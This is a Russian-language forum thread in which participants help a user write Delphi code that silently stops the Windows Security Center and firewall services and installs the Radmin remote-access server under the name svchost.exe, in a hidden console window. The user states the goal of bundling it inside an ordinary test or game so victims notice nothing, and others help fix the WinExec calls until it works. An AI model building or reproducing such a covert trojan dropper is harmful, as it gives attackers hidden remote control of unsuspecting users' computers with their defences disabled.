][Radmin & Delphi

[eXa]

Парни как выполнить следуюшие команды через Delphi, если это вообще реально...

CMD>NET STOP wscsvc
CMD>NET STOP sharedaccess
CMD>%windir%/r_server.exe /install /silence

 

[v0id]

Можно создать батник и потом его запустить, или по очереди выполняй свои строки

 

[ammok]

eXa

ShellExecute();

Точный синтаксис не помню, но нужно юзать ShellAPI (добавь в uses)

 

[profeto]

WinExec('ЗДЕСЬ ПИШЕШЬ КОМАНДЫ',SW_RESTORE);

Вроде так, по крайтей мере я тестил команду net share и она сработала :yahoo:

 

[v0id]

SW_RESTORE тока это зачем? просто SW_NORMAL

 

[Amper]

Думаю лучше всего SW_SPOILER, т.к. при SW_NORMAL на мгновение покажется консольное окно, а это думаю, вовсе не нужно...

 

[system(#036;cmd)]

Возьми ЭТО и не парься humbsup:

ЗЫ
на себе не пробуй

 

[eXa]

Спасибо всем!
system($cmd) через Delphi возможностей больше, например спрятать весь этот баян под обычный тест или игру, для среднего пользователя можно сказать нулевое палево
Ток правильное написание такой команды как должно выглядеть
cmd>c:\windows\system32\svchost.exe /install /silence

WinExec(SystemDir +'\svchost.exe' /install /silence, SW_SPOILER);

SystemDir - путь до s32

[Error] Unit1.pas(162): Undeclared identifier: 'install'

 

[ammok]

eXa

WinExec(SystemDir +'\svchost.exe' /install /silence, SW_SPOILER);

Ты ковычку не правильно поставил .

WinExec(SystemDir +'\svchost.exe /install /silence', SW_SPOILER);

 

[eXa]

Если бы, так делал уже...
[Error] Unit1.pas(162): Incompatible types: 'String' and 'PAnsiChar'

 

[BUG(O)R]

eXa
Ну так читай что тебе компилятор пишет, не доходит чтоли, что надо сделать?

 

[v0id]

WinExec(PChar(SystemDir +'\svchost.exe /install /silence'), SW_SPOILER);

ёлы палы))

 

[eXa]

BUG(O)R неа, не даходит, с Делфи знаком не долго...

Только, облом за обломом, не выполняет команды(прописываю всё правильно,100%), почему не знаю, хотя в ручную всё ОК, походу придёться батник с командами кидать в s32 и запускать оттуда, shellAPI я так понимаю надо использовать, или в чём можеть быть проблема?

cmd>C:\WINDOWS\r_server.exe /start так всё ОК
а так нефига...

WinExec('C:\WINDOWS\r_server.exe /start', SW_SPOILER);

 

[eXa]

Вопрос снят, глюки делфи или может мои=)